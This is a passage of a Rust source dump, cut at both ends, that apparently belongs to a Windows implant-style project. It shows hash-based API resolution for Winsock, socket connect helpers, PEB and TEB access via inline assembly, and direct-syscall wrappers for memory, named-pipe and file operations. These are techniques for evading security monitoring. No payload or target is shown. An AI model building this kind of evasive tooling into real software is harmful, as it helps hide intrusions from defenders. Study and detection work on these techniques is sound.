ldr_function(ws2_32_module, GETADDRINFO_DBJ2); 193 | let freeaddrinfo_addr = ldr_function(ws2_32_module, FREEADDRINFO_DBJ2); 194 | let ioctlsocket_addr = ldr_function(ws2_32_module, IOCTLSOCKET_H); 195 | let select_addr = ldr_function(ws2_32_module, SELECT_H); 196 | let wsa_get_last_error_addr = ldr_function(ws2_32_module, WSAGETLASTERROR_H); 197 | 198 | instance.winsock.wsa_startup = transmute(wsa_startup_addr); 199 | instance.winsock.wsa_cleanup = transmute(wsa_cleanup_addr); 200 | instance.winsock.socket = transmute(socket_addr); 201 | instance.winsock.connect = transmute(connect_addr); 202 | instance.winsock.send = transmute(send_addr); 203 | instance.winsock.recv = transmute(recv_addr); 204 | instance.winsock.closesocket = transmute(closesocket_addr); 205 | instance.winsock.inet_addr = transmute(inet_addr_addr); 206 | instance.winsock.htons = transmute(htons_addr); 207 | instance.winsock.getaddrinfo = transmute(getaddrinfo_addr); 208 | instance.winsock.freeaddrinfo = transmute(freeaddrinfo_addr); 209 | instance.winsock.ioctlsocket = transmute(ioctlsocket_addr); 210 | instance.winsock.select = transmute(select_addr); 211 | instance.winsock.wsa_get_last_error = transmute(wsa_get_last_error_addr); 212 | } 213 | } 214 | } 215 | 216 | /// Initializes the Winsock library for network operations on Windows. 217 | /// Returns 0 on success, or the error code on failure. 218 | pub fn init_winsock() -> i32 { 219 | unsafe { 220 | let mut wsa_data: WsaData = core::mem::zeroed(); 221 | let result = (get_instance().unwrap().winsock.wsa_startup)(0x0202, &mut wsa_data); 222 | if result != 0 { 223 | return (get_instance().unwrap().winsock.wsa_get_last_error)(); 224 | } 225 | result 226 | } 227 | } 228 | 229 | /// Creates a new TCP socket for network communication. 230 | /// Returns the socket descriptor (SOCKET) or an error code on failure. 231 | pub fn create_socket() -> SOCKET { 232 | unsafe { 233 | (get_instance().unwrap().winsock.socket)(2, 1, 6) // AF_INET, SOCK_STREAM, IPPROTO_TCP 234 | } 235 | } 236 | 237 | /// Resolves a hostname to an IPv4 address. 238 | /// Returns the IPv4 address as a `u32` or an error code on failure. 239 | pub fn resolve_hostname(hostname: &str) -> u32 { 240 | unsafe { 241 | let hostname_cstr = CString::new(hostname).unwrap(); 242 | let mut hints: AddrInfo = zeroed(); 243 | hints.ai_family = 2; // AF_INET 244 | hints.ai_socktype = 1; // SOCK_STREAM 245 | let mut res: *mut AddrInfo = null_mut(); 246 | 247 | let status = (get_instance().unwrap().winsock.getaddrinfo)( 248 | hostname_cstr.as_ptr(), 249 | null(), 250 | &hints, 251 | &mut res, 252 | ); 253 | 254 | if status != 0 { 255 | return (get_instance().unwrap().winsock.wsa_get_last_error)() as u32; 256 | } 257 | 258 | let mut ip_addr: u32 = 0; 259 | let mut addr_info_ptr = res; 260 | 261 | while !addr_info_ptr.is_null() { 262 | let addr_info = &*addr_info_ptr; 263 | if addr_info.ai_family == 2 { 264 | // AF_INET 265 | let sockaddr_in = &*(addr_info.ai_addr as *const SockAddrIn); 266 | ip_addr = sockaddr_in.sin_addr.s_addr; 267 | break; 268 | } 269 | addr_info_ptr = addr_info.ai_next; 270 | } 271 | 272 | (get_instance().unwrap().winsock.freeaddrinfo)(res); 273 | ip_addr 274 | } 275 | } 276 | 277 | /// Connects a socket to a given address and port. 278 | /// Returns 0 on success, or the error code on failure. 279 | pub fn connect_socket(sock: SOCKET, addr: &str, port: u16) -> i32 { 280 | unsafe { 281 | let addr = if addr == "localhost" { 282 | "127.0.0.1" 283 | } else { 284 | addr 285 | }; 286 | 287 | let resolve_addr = resolve_hostname(addr); 288 | let mut sockaddr_in: SockAddrIn = core::mem::zeroed(); 289 | sockaddr_in.sin_family = 2; // AF_INET 290 | sockaddr_in.sin_port = (get_instance().unwrap().winsock.htons)(port); 291 | sockaddr_in.sin_addr.s_addr = resolve_addr; 292 | 293 | let sockaddr = &sockaddr_in as *const _ as *const SockAddr; 294 | let result = (get_instance().unwrap().winsock.connect)( 295 | sock, 296 | sockaddr, 297 | core::mem::size_of::() as i32, 298 | ); 299 | 300 | if result != 0 { 301 | return (get_instance().unwrap().winsock.wsa_get_last_error)(); 302 | } 303 | result 304 | } 305 | } 306 | -------------------------------------------------------------------------------- /src/libs/ntdef.rs: -------------------------------------------------------------------------------- 1 | use core::arch::asm; 2 | use core::ffi::{c_ulong, c_void}; 3 | use core::ptr; 4 | 5 | use crate::libs::utils::string_length_w; 6 | 7 | pub const IMAGE_DOS_SIGNATURE: u16 = 0x5A4D; // "MZ" 8 | pub const IMAGE_NT_SIGNATURE: u32 = 0x00004550; // "PE\0\0" 9 | 10 | // Definition of LIST_ENTRY 11 | #[repr(C)] 12 | #[derive(Copy, Clone)] 13 | pub struct ListEntry { 14 | pub flink: *mut ListEntry, 15 | pub blink: *mut ListEntry, 16 | } 17 | 18 | // Definition of UNICODE_STRING 19 | #[repr(C)] 20 | pub struct UnicodeString { 21 | pub length: u16, 22 | pub maximum_length: u16, 23 | pub buffer: *mut u16, 24 | } 25 | 26 | impl UnicodeString { 27 | pub fn new() -> Self { 28 | UnicodeString { 29 | length: 0, 30 | maximum_length: 0, 31 | buffer: ptr::null_mut(), 32 | } 33 | } 34 | 35 | // RtlInitUnicodeString 36 | pub fn init(&mut self, source_string: *const u16) { 37 | if !source_string.is_null() { 38 | let dest_size = string_length_w(source_string) * 2; 39 | self.length = dest_size as u16; 40 | self.maximum_length = (dest_size + 2) as u16; 41 | self.buffer = source_string as *mut u16; 42 | } else { 43 | self.length = 0; 44 | self.maximum_length = 0; 45 | self.buffer = ptr::null_mut(); 46 | } 47 | } 48 | } 49 | 50 | #[repr(C)] 51 | #[derive(Copy, Clone)] 52 | pub struct SectionPointer { 53 | pub section_pointer: *mut c_void, 54 | pub check_sum: c_ulong, 55 | } 56 | 57 | #[repr(C)] 58 | pub union HashLinksOrSectionPointer { 59 | pub hash_links: ListEntry, 60 | pub section_pointer: SectionPointer, 61 | } 62 | 63 | #[repr(C)] 64 | pub union TimeDateStampOrLoadedImports { 65 | pub time_date_stamp: c_ulong, 66 | pub loaded_imports: *mut c_void, 67 | } 68 | 69 | #[repr(C)] 70 | pub struct LoaderDataTableEntry { 71 | pub in_load_order_links: ListEntry, 72 | pub in_memory_order_links: ListEntry, 73 | pub in_initialization_order_links: ListEntry, 74 | pub dll_base: *mut c_void, 75 | pub entry_point: *mut c_void, 76 | pub size_of_image: c_ulong, 77 | pub full_dll_name: UnicodeString, 78 | pub base_dll_name: UnicodeString, 79 | pub flags: c_ulong, 80 | pub load_count: i16, 81 | pub tls_index: i16, 82 | pub hash_links_or_section_pointer: HashLinksOrSectionPointer, 83 | pub time_date_stamp_or_loaded_imports: TimeDateStampOrLoadedImports, 84 | pub entry_point_activation_context: *mut c_void, 85 | pub patch_information: *mut c_void, 86 | pub forwarder_links: ListEntry, 87 | pub service_tag_links: ListEntry, 88 | pub static_links: ListEntry, 89 | } 90 | 91 | #[repr(C)] 92 | pub struct PebLoaderData { 93 | pub length: c_ulong, 94 | pub initialized: c_ulong, 95 | pub ss_handle: *mut c_void, 96 | pub in_load_order_module_list: ListEntry, 97 | pub in_memory_order_module_list: ListEntry, 98 | pub in_initialization_order_module_list: ListEntry, 99 | } 100 | 101 | #[repr(C)] 102 | pub struct PEB { 103 | pub inherited_address_space: bool, 104 | pub read_image_file_exec_options: bool, 105 | pub being_debugged: bool, 106 | pub spare: bool, 107 | pub mutant: *mut c_void, 108 | pub image_base: *mut c_void, 109 | pub loader_data: *const PebLoaderData, 110 | pub process_parameters: *const RtlUserProcessParameters, 111 | pub sub_system_data: *mut c_void, 112 | pub process_heap: *mut c_void, 113 | pub fast_peb_lock: *mut c_void, 114 | pub fast_peb_lock_routine: *mut c_void, 115 | pub fast_peb_unlock_routine: *mut c_void, 116 | pub environment_update_count: c_ulong, 117 | pub kernel_callback_table: *const *mut c_void, 118 | pub event_log_section: *mut c_void, 119 | pub event_log: *mut c_void, 120 | pub free_list: *mut c_void, 121 | pub tls_expansion_counter: c_ulong, 122 | pub tls_bitmap: *mut c_void, 123 | pub tls_bitmap_bits: [c_ulong; 2], 124 | pub read_only_shared_memory_base: *mut c_void, 125 | pub read_only_shared_memory_heap: *mut c_void, 126 | pub read_only_static_server_data: *const *mut c_void, 127 | pub ansi_code_page_data: *mut c_void, 128 | pub oem_code_page_data: *mut c_void, 129 | pub unicode_case_table_data: *mut c_void, 130 | pub number_of_processors: c_ulong, 131 | pub nt_global_flag: c_ulong, 132 | pub spare_2: [u8; 4], 133 | pub critical_section_timeout: i64, 134 | pub heap_segment_reserve: c_ulong, 135 | pub heap_segment_commit: c_ulong, 136 | pub heap_de_commit_total_free_threshold: c_ulong, 137 | pub heap_de_commit_free_block_threshold: c_ulong, 138 | pub number_of_heaps: c_ulong, 139 | pub maximum_number_of_heaps: c_ulong, 140 | pub process_heaps: *const *const *mut c_void, 141 | pub gdi_shared_handle_table: *mut c_void, 142 | pub process_starter_helper: *mut c_void, 143 | pub gdi_dc_attribute_list: *mut c_void, 144 | pub loader_lock: *mut c_void, 145 | pub os_major_version: c_ulong, 146 | pub os_minor_version: c_ulong, 147 | pub os_build_number: c_ulong, 148 | pub os_platform_id: c_ulong, 149 | pub image_sub_system: c_ulong, 150 | pub image_sub_system_major_version: c_ulong, 151 | pub image_sub_system_minor_version: c_ulong, 152 | pub gdi_handle_buffer: [c_ulong; 22], 153 | pub post_process_init_routine: c_ulong, 154 | pub tls_expansion_bitmap: c_ulong, 155 | pub tls_expansion_bitmap_bits: [u8; 80], 156 | pub session_id: c_ulong, 157 | } 158 | 159 | #[repr(C)] 160 | pub struct RtlUserProcessParameters { 161 | pub maximum_length: u32, 162 | pub length: u32, 163 | pub flags: u32, 164 | pub debug_flags: u32, 165 | pub console_handle: *mut c_void, 166 | pub console_flags: u32, 167 | pub standard_input: *mut c_void, 168 | pub standard_output: *mut c_void, 169 | pub standard_error: *mut c_void, 170 | pub current_directory_path: UnicodeString, 171 | pub current_directory_handle: *mut c_void, 172 | pub dll_path: UnicodeString, 173 | pub image_path_name: UnicodeString, 174 | pub command_line: UnicodeString, 175 | pub environment: *mut c_void, 176 | pub starting_x: u32, 177 | pub starting_y: u32, 178 | pub count_x: u32, 179 | pub count_y: u32, 180 | pub count_chars_x: u32, 181 | pub count_chars_y: u32, 182 | pub fill_attribute: u32, 183 | pub window_flags: u32, 184 | pub show_window_flags: u32, 185 | pub window_title: UnicodeString, 186 | pub desktop_info: UnicodeString, 187 | pub shell_info: UnicodeString, 188 | pub runtime_data: UnicodeString, 189 | pub current_directories: [UnicodeString; 32], 190 | pub environment_size: u32, 191 | pub environment_version: u32, 192 | pub package_dependency_data: *mut c_void, 193 | pub process_group_id: u32, 194 | pub loader_threads: u32, 195 | } 196 | 197 | #[repr(C)] 198 | pub struct ImageDosHeader { 199 | pub e_magic: u16, 200 | pub e_cblp: u16, 201 | pub e_cp: u16, 202 | pub e_crlc: u16, 203 | pub e_cparhdr: u16, 204 | pub e_minalloc: u16, 205 | pub e_maxalloc: u16, 206 | pub e_ss: u16, 207 | pub e_sp: u16, 208 | pub e_csum: u16, 209 | pub e_ip: u16, 210 | pub e_cs: u16, 211 | pub e_lfarlc: u16, 212 | pub e_ovno: u16, 213 | pub e_res: [u16; 4], 214 | pub e_oemid: u16, 215 | pub e_oeminfo: u16, 216 | pub e_res2: [u16; 10], 217 | pub e_lfanew: i32, 218 | } 219 | 220 | #[repr(C)] 221 | pub struct ImageFileHeader { 222 | pub machine: u16, 223 | pub number_of_sections: u16, 224 | pub time_date_stamp: u32, 225 | pub pointer_to_symbol_table: u32, 226 | pub number_of_symbols: u32, 227 | pub size_of_optional_header: u16, 228 | pub characteristics: u16, 229 | } 230 | 231 | #[repr(C)] 232 | pub struct ImageDataDirectory { 233 | pub virtual_address: u32, 234 | pub size: u32, 235 | } 236 | 237 | #[repr(C)] 238 | pub struct ImageExportDirectory { 239 | pub characteristics: u32, 240 | pub time_date_stamp: u32, 241 | pub major_version: u16, 242 | pub minor_version: u16, 243 | pub name: u32, 244 | pub base: u32, 245 | pub number_of_functions: u32, 246 | pub number_of_names: u32, 247 | pub address_of_functions: u32, 248 | pub address_of_names: u32, 249 | pub address_of_name_ordinals: u32, 250 | } 251 | 252 | #[cfg(target_arch = "x86_64")] 253 | #[repr(C)] 254 | pub struct ImageNtHeaders { 255 | pub signature: u32, 256 | pub file_header: ImageFileHeader, 257 | pub optional_header: ImageOptionalHeader64, 258 | } 259 | 260 | #[cfg(target_arch = "x86_64")] 261 | #[repr(C)] 262 | pub struct ImageOptionalHeader64 { 263 | pub magic: u16, 264 | pub major_linker_version: u8, 265 | pub minor_linker_version: u8, 266 | pub size_of_code: u32, 267 | pub size_of_initialized_data: u32, 268 | pub size_of_uninitialized_data: u32, 269 | pub address_of_entry_point: u32, 270 | pub base_of_code: u32, 271 | pub image_base: u64, 272 | pub section_alignment: u32, 273 | pub file_alignment: u32, 274 | pub major_operating_system_version: u16, 275 | pub minor_operating_system_version: u16, 276 | pub major_image_version: u16, 277 | pub minor_image_version: u16, 278 | pub major_subsystem_version: u16, 279 | pub minor_subsystem_version: u16, 280 | pub win32_version_value: u32, 281 | pub size_of_image: u32, 282 | pub size_of_headers: u32, 283 | pub check_sum: u32, 284 | pub subsystem: u16, 285 | pub dll_characteristics: u16, 286 | pub size_of_stack_reserve: u64, 287 | pub size_of_stack_commit: u64, 288 | pub size_of_heap_reserve: u64, 289 | pub size_of_heap_commit: u64, 290 | pub loader_flags: u32, 291 | pub number_of_rva_and_sizes: u32, 292 | pub data_directory: [ImageDataDirectory; 16], 293 | } 294 | 295 | #[cfg(target_arch = "x86_64")] 296 | pub fn find_peb() -> *mut PEB { 297 | let peb_ptr: *mut PEB; 298 | unsafe { 299 | asm!( 300 | "mov {}, gs:[0x60]", 301 | out(reg) peb_ptr 302 | ); 303 | } 304 | peb_ptr 305 | } 306 | 307 | #[repr(C)] 308 | #[derive(Clone, Copy)] 309 | pub struct LargeInteger { 310 | pub low_part: u32, 311 | pub high_part: i32, 312 | } 313 | 314 | impl LargeInteger { 315 | pub fn new() -> Self { 316 | LargeInteger { 317 | high_part: 0, 318 | low_part: 0, 319 | } 320 | } 321 | } 322 | 323 | #[repr(C)] 324 | pub struct ClientId { 325 | pub unique_process: *mut c_void, 326 | pub unique_thread: *mut c_void, 327 | } 328 | 329 | #[repr(C)] 330 | pub struct NtTib { 331 | pub exception_list: *mut c_void, 332 | pub stack_base: *mut c_void, 333 | pub stack_limit: *mut c_void, 334 | pub sub_system_tib: *mut c_void, 335 | pub fiber_data: *mut c_void, 336 | pub arbitrary_user_pointer: *mut c_void, 337 | pub self_: *mut NtTib, 338 | } 339 | 340 | #[cfg(target_arch = "x86_64")] 341 | #[repr(C)] 342 | pub struct TEB { 343 | pub nt_tib: NtTib, 344 | pub environment_pointer: *mut c_void, 345 | pub client_id: ClientId, 346 | pub active_rpc_handle: *mut c_void, 347 | pub thread_local_storage_pointer: *mut c_void, 348 | pub process_environment_block: *mut PEB, 349 | pub last_error_value: u32, 350 | pub count_of_owned_critical_sections: u32, 351 | pub csr_client_thread: *mut c_void, 352 | pub win32_thread_info: *mut c_void, 353 | pub user32_reserved: [u32; 26], 354 | pub user_reserved: [u32; 5], 355 | pub wow64_reserved: *mut c_void, 356 | pub current_locale: u32, 357 | pub fp_software_status_register: u32, 358 | pub system_reserved1: [*mut c_void; 54], 359 | pub exception_code: u32, 360 | pub activation_context_stack_pointer: *mut c_void, 361 | pub spare_bytes: [u8; 24], 362 | pub tx_fs_context: u32, 363 | pub gdi_tcell_buffer: *mut c_void, 364 | pub gdi_prev_spare_tcell: u32, 365 | pub gdi_prev_spare_tx: u32, 366 | pub gdi_batch_count: u32, 367 | pub spare_stack_array: [u32; 0x200], 368 | pub spare1: [u8; 40], 369 | pub x64_spare2: [u32; 0x3d], 370 | pub x64_spare3: [u32; 0x3d], 371 | pub tx_fb_context: u32, 372 | pub gdi_last_spare_tcell: u32, 373 | pub gdi_last_spare_tx: u32, 374 | pub gdi_last_spare_stack_array: [u32; 0x200], 375 | } 376 | 377 | unsafe impl Sync for TEB {} 378 | unsafe impl Send for TEB {} 379 | 380 | /// Find the Thread Environment Block (TEB) of the current process on x86_64 381 | #[cfg(target_arch = "x86_64")] 382 | pub fn nt_current_teb() -> *mut TEB { 383 | let teb_ptr: *mut TEB; 384 | unsafe { 385 | asm!( 386 | "mov {}, gs:[0x30]", 387 | out(reg) teb_ptr 388 | ); 389 | } 390 | teb_ptr 391 | } 392 | 393 | #[repr(C)] 394 | pub struct ObjectAttributes { 395 | pub length: c_ulong, 396 | pub root_directory: *mut c_void, 397 | pub object_name: *mut UnicodeString, 398 | pub attributes: c_ulong, 399 | pub security_descriptor: *mut c_void, 400 | pub security_quality_of_service: *mut c_void, 401 | } 402 | 403 | impl ObjectAttributes { 404 | pub fn new() -> Self { 405 | ObjectAttributes { 406 | length: 0, 407 | root_directory: ptr::null_mut(), 408 | object_name: ptr::null_mut(), 409 | attributes: 0, 410 | security_descriptor: ptr::null_mut(), 411 | security_quality_of_service: ptr::null_mut(), 412 | } 413 | } 414 | 415 | //InitializeObjectAttributes 416 | pub fn initialize( 417 | p: &mut ObjectAttributes, 418 | n: *mut UnicodeString, 419 | a: c_ulong, 420 | r: *mut c_void, 421 | s: *mut c_void, 422 | ) { 423 | p.length = core::mem::size_of::() as c_ulong; 424 | p.root_directory = r; 425 | p.attributes = a; 426 | p.object_name = n; 427 | p.security_descriptor = s; 428 | p.security_quality_of_service = ptr::null_mut(); 429 | } 430 | } 431 | 432 | #[repr(C)] 433 | pub union IO_STATUS_BLOCK_u { 434 | pub status: i32, 435 | pub pointer: *mut c_void, 436 | } 437 | 438 | #[repr(C)] 439 | pub struct IoStatusBlock { 440 | pub u: IO_STATUS_BLOCK_u, 441 | pub information: c_ulong, 442 | } 443 | 444 | impl IoStatusBlock { 445 | pub fn new() -> Self { 446 | IoStatusBlock { 447 | u: IO_STATUS_BLOCK_u { status: 0 }, 448 | information: 0, 449 | } 450 | } 451 | } 452 | 453 | pub const OBJ_CASE_INSENSITIVE: c_ulong = 0x40; 454 | pub const OBJ_INHERIT: c_ulong = 0x00000002; 455 | 456 | pub const GENERIC_READ: u32 = 0x80000000; 457 | pub const FILE_WRITE_ATTRIBUTES: c_ulong = 0x00000100; 458 | pub const SYNCHRONIZE: c_ulong = 0x00100000; 459 | pub const FILE_SHARE_READ: c_ulong = 0x00000001; 460 | pub const FILE_SHARE_WRITE: c_ulong = 0x00000002; 461 | pub const FILE_CREATE: u32 = 0x00000002; 462 | pub const FILE_SYNCHRONOUS_IO_NONALERT: u32 = 0x00000020; 463 | pub const FILE_PIPE_BYTE_STREAM_TYPE: u32 = 0x00000000; 464 | pub const FILE_PIPE_BYTE_STREAM_MODE: u32 = 0x00000000; 465 | pub const FILE_PIPE_QUEUE_OPERATION: u32 = 0x00000000; 466 | pub const FILE_WRITE_DATA: c_ulong = 0x00000002; 467 | pub const STANDARD_RIGHTS_WRITE: c_ulong = 0x00020000; 468 | pub const FILE_WRITE_EA: c_ulong = 0x00000010; 469 | pub const FILE_APPEND_DATA: c_ulong = 0x00000004; 470 | pub const FILE_GENERIC_WRITE: u32 = STANDARD_RIGHTS_WRITE 471 | | FILE_WRITE_DATA 472 | | FILE_WRITE_ATTRIBUTES 473 | | FILE_WRITE_EA 474 | | FILE_APPEND_DATA 475 | | SYNCHRONIZE; 476 | pub const FILE_NON_DIRECTORY_FILE: u32 = 0x00000040; 477 | 478 | #[repr(C)] 479 | pub struct ProcessBasicInformation { 480 | pub exit_status: i32, 481 | pub peb_base_address: *mut c_void, 482 | pub affinity_mask: usize, 483 | pub base_priority: i32, 484 | pub unique_process_id: *mut c_void, 485 | pub inherited_from_unique_process_id: *mut c_void, 486 | } 487 | -------------------------------------------------------------------------------- /src/libs/ntapi.rs: -------------------------------------------------------------------------------- 1 | use core::{ 2 | ffi::{c_ulong, c_void}, 3 | ptr::null_mut, 4 | }; 5 | 6 | use crate::{ 7 | get_instance, 8 | libs::ldrapi::{ldr_function, ldr_module}, 9 | run_syscall, 10 | }; 11 | 12 | use super::{ 13 | gate::get_ssn, 14 | ntdef::{IoStatusBlock, LargeInteger, ObjectAttributes, UnicodeString}, 15 | }; 16 | 17 | pub struct NtSyscall { 18 | /// The number of the syscall 19 | pub number: u16, 20 | /// The address of the syscall 21 | pub address: *mut u8, 22 | /// The hash of the syscall (used for lookup) 23 | pub hash: usize, 24 | } 25 | 26 | unsafe impl Sync for NtSyscall {} 27 | 28 | impl NtSyscall { 29 | pub const fn new(hash: usize) -> Self { 30 | NtSyscall { 31 | number: 0, 32 | address: null_mut(), 33 | hash: hash, 34 | } 35 | } 36 | } 37 | 38 | pub struct NtAllocateVirtualMemory { 39 | pub syscall: NtSyscall, 40 | } 41 | 42 | unsafe impl Sync for NtAllocateVirtualMemory {} 43 | 44 | impl NtAllocateVirtualMemory { 45 | pub const fn new() -> Self { 46 | NtAllocateVirtualMemory { 47 | syscall: NtSyscall::new(0xf783b8ec), 48 | } 49 | } 50 | } 51 | 52 | pub struct NtFreeVirtualMemory { 53 | pub syscall: NtSyscall, 54 | } 55 | 56 | unsafe impl Sync for NtFreeVirtualMemory {} 57 | 58 | impl NtFreeVirtualMemory { 59 | pub const fn new() -> Self { 60 | NtFreeVirtualMemory { 61 | syscall: NtSyscall::new(0x2802c609), 62 | } 63 | } 64 | } 65 | 66 | pub struct NtClose { 67 | pub syscall: NtSyscall, 68 | } 69 | 70 | unsafe impl Sync for NtClose {} 71 | 72 | impl NtClose { 73 | pub const fn new() -> Self { 74 | NtClose { 75 | syscall: NtSyscall::new(0x40d6e69d), 76 | } 77 | } 78 | 79 | /// Wrapper function for NtClose to avoid repetitive run_syscall calls. 80 | /// 81 | /// # Arguments 82 | /// 83 | /// * `[in]` - `handle` A handle to an object. This is a required parameter that must be valid. 84 | /// It represents the handle that will be closed by the function. 85 | /// 86 | /// # Returns 87 | /// 88 | /// * `i32` - The NTSTATUS code of the operation, indicating success or failure of the syscall. 89 | pub fn run(&self, handle: *mut c_void) -> i32 { 90 | run_syscall!(self.syscall.number, self.syscall.address as usize, handle) 91 | } 92 | } 93 | 94 | pub struct NtCreateNamedPipeFile { 95 | pub syscall: NtSyscall, 96 | } 97 | 98 | unsafe impl Sync for NtCreateNamedPipeFile {} 99 | 100 | impl NtCreateNamedPipeFile { 101 | pub const fn new() -> Self { 102 | NtCreateNamedPipeFile { 103 | syscall: NtSyscall::new(0x1da0062e), 104 | } 105 | } 106 | 107 | /// Wrapper for the NtCreateNamedPipeFile syscall. 108 | /// 109 | /// This function creates a named pipe file and returns a handle to it. 110 | /// 111 | /// # Arguments 112 | /// 113 | /// * `[out]` - `file_handle` A mutable pointer to a handle that will receive the file handle. 114 | /// * `[in]` - `desired_access` The desired access rights for the named pipe file. 115 | /// * `[in]` - `object_attributes` A pointer to an `OBJECT_ATTRIBUTES` structure that specifies the object attributes. 116 | /// * `[out]` - `io_status_block` A pointer to an `IO_STATUS_BLOCK` structure that receives the status of the I/O operation. 117 | /// * `[in]` - `share_access` The requested sharing mode of the file. 118 | /// * `[in]` - `create_disposition` Specifies the action to take on files that exist or do not exist. 119 | /// * `[in]` - `create_options` Specifies the options to apply when creating or opening the file. 120 | /// * `[in]` - `named_pipe_type` Specifies the type of named pipe (byte stream or message). 121 | /// * `[in]` - `read_mode` Specifies the read mode for the pipe. 122 | /// * `[in]` - `completion_mode` Specifies the completion mode for the pipe. 123 | /// * `[in]` - `maximum_instances` The maximum number of instances of the pipe. 124 | /// * `[in]` - `inbound_quota` The size of the input buffer, in bytes. 125 | /// * `[in]` - `outbound_quota` The size of the output buffer, in bytes. 126 | /// * `[in, opt]` - `default_timeout` A pointer to a `LARGE_INTEGER` structure that specifies the default time-out value. 127 | /// 128 | /// # Returns 129 | /// 130 | /// * `i32` - The NTSTATUS code of the operation. 131 | pub fn run( 132 | &self, 133 | file_handle: *mut *mut c_void, 134 | desired_access: c_ulong, 135 | object_attributes: *mut ObjectAttributes, 136 | io_status_block: *mut IoStatusBlock, 137 | share_access: c_ulong, 138 | create_disposition: c_ulong, 139 | create_options: c_ulong, 140 | named_pipe_type: c_ulong, 141 | read_mode: c_ulong, 142 | completion_mode: c_ulong, 143 | maximum_instances: c_ulong, 144 | inbound_quota: c_ulong, 145 | outbound_quota: c_ulong, 146 | default_timeout: *const LargeInteger, 147 | ) -> i32 { 148 | run_syscall!( 149 | self.syscall.number, 150 | self.syscall.address as usize, 151 | file_handle, 152 | desired_access, 153 | object_attributes, 154 | io_status_block, 155 | share_access, 156 | create_disposition, 157 | create_options, 158 | named_pipe_type, 159 | read_mode, 160 | completion_mode, 161 | maximum_instances, 162 | inbound_quota, 163 | outbound_quota, 164 | default_timeout 165 | ) 166 | } 167 | } 168 | 169 | pub struct NtOpenFile { 170 | pub syscall: NtSyscall, 171 | } 172 | 173 | unsafe impl Sync for NtOpenFile {} 174 | 175 | impl NtOpenFile { 176 | pub const fn new() -> Self { 177 | NtOpenFile { 178 | syscall: NtSyscall::new(0x46dde739), 179 | } 180 | } 181 | 182 | /// Wrapper for the NtOpenFile syscall. 183 | /// 184 | /// # Arguments 185 | /// 186 | /// * `[out]` - `file_handle` A pointer to a handle that receives the file handle. 187 | /// * `[in]` - `desired_access` The desired access for the file handle. 188 | /// * `[in]` - `object_attributes` A pointer to the OBJECT_ATTRIBUTES structure. 189 | /// * `[out]` - `io_status_block` A pointer to an IO_STATUS_BLOCK structure that receives the status block. 190 | /// * `[in]` - `share_access` The requested share access for the file. 191 | /// * `[in]` - `open_options` The options to be applied when opening the file. 192 | /// 193 | /// # Returns 194 | /// 195 | /// * `i32` - The NTSTATUS code of the operation. 196 | pub fn run( 197 | &self, 198 | file_handle: &mut *mut c_void, 199 | desired_access: c_ulong, 200 | object_attributes: &mut ObjectAttributes, 201 | io_status_block: &mut IoStatusBlock, 202 | share_access: c_ulong, 203 | open_options: c_ulong, 204 | ) -> i32 { 205 | run_syscall!( 206 | self.syscall.number, 207 | self.syscall.address as usize, 208 | file_handle, 209 | desired_access, 210 | object_attributes, 211 | io_status_block, 212 | share_access, 213 | open_options 214 | ) 215 | } 216 | } 217 | 218 | pub struct NtWriteFile { 219 | pub syscall: NtSyscall, 220 | } 221 | 222 | unsafe impl Sync for NtWriteFile {} 223 | 224 | impl NtWriteFile { 225 | pub const fn new() -> Self { 226 | NtWriteFile { 227 | syscall: NtSyscall::new(0xe0d61db2), 228 | } 229 | } 230 | 231 | /// Wrapper for the NtWriteFile syscall. 232 | /// 233 | /// This function writes data to a file or I/O device. It wraps the NtWriteFile syscall. 234 | /// 235 | /// # Arguments 236 | /// 237 | /// * `[in]` - `file_handle` A handle to the file or I/O device to be written to. 238 | /// * `[in, opt]` - `event` An optional handle to an event object that will be signaled when the operation completes. 239 | /// * `[in, opt]` - `apc_routine` An optional pointer to an APC routine to be called when the operation completes. 240 | /// * `[in, opt]` - `apc_context` An optional pointer to a context for the APC routine. 241 | /// * `[out]` - `io_status_block` A pointer to an IO_STATUS_BLOCK structure that receives the final completion status and information about the operation. 242 | /// * `[in]` - `buffer` A pointer to a buffer that contains the data to be written to the file or device. 243 | /// * `[in]` - `length` The length, in bytes, of the buffer pointed to by the `buffer` parameter. 244 | /// * `[in, opt]` - `byte_offset` A pointer to the byte offset in the file where the operation should begin. If this parameter is `None`, the system writes data to the current file position. 245 | /// * `[in, opt]` - `key` A pointer to a caller-supplied variable to receive the I/O completion key. This parameter is ignored if `event` is not `None`. 246 | /// 247 | /// # Returns 248 | /// 249 | /// * `i32` - The NTSTATUS code of the operation. 250 | pub fn run( 251 | &self, 252 | file_handle: *mut c_void, 253 | event: *mut c_void, 254 | apc_routine: *mut c_void, 255 | apc_context: *mut c_void, 256 | io_status_block: &mut IoStatusBlock, 257 | buffer: *mut c_void, 258 | length: c_ulong, 259 | byte_offset: *mut u64, 260 | key: *mut c_ulong, 261 | ) -> i32 { 262 | run_syscall!( 263 | self.syscall.number, 264 | self.syscall.address as usize, 265 | file_handle, 266 | event, 267 | apc_routine, 268 | apc_context, 269 | io_status_block, 270 | buffer, 271 | length, 272 | byte_offset, 273 | key 274 | ) 275 | } 276 | } 277 | 278 | pub struct NtReadFile { 279 | pub syscall: NtSyscall, 280 | } 281 | 282 | unsafe impl Sync for NtReadFile {} 283 | 284 | impl NtReadFile { 285 | pub const fn new() -> Self { 286 | NtReadFile { 287 | syscall: NtSyscall::new(0xb2d93203), 288 | } 289 | } 290 | 291 | /// Wrapper for the NtReadFile syscall. 292 | /// 293 | /// This function reads data from a file or I/O device. It wraps the NtReadFile syscall. 294 | /// 295 | /// # Arguments 296 | /// 297 | /// * `[in]` - `file_handle` A handle to the file or I/O device to be read from. 298 | /// * `[in, opt]` - `event` An optional handle to an event object that will be signaled when the operation completes. 299 | /// * `[in, opt]` - `apc_routine` An optional pointer to an APC routine to be called when the operation completes. 300 | /// * `[in, opt]` - `apc_context` An optional pointer to a context for the APC routine. 301 | /// * `[out]` - `io_status_block` A pointer to an IO_STATUS_BLOCK structure that receives the final completion status and information about the operation. 302 | /// * `[out]` - `buffer` A pointer to a buffer that receives the data read from the file or device. 303 | /// * `[in]` - `length` The length, in bytes, of the buffer pointed to by the `buffer` parameter. 304 | /// * `[in, opt]` - `byte_offset` A pointer to the byte offset in the file where the operation should begin. If this parameter is `None`, the system reads data from the current file position. 305 | /// * `[in, opt]` - `key` A pointer to a caller-supplied variable to receive the I/O completion key. This parameter is ignored if `event` is not `None`. 306 | /// 307 | /// # Returns 308 | /// 309 | /// * `i32` - The NTSTATUS code of the operation. 310 | pub fn run( 311 | &self, 312 | file_handle: *mut c_void, 313 | event: 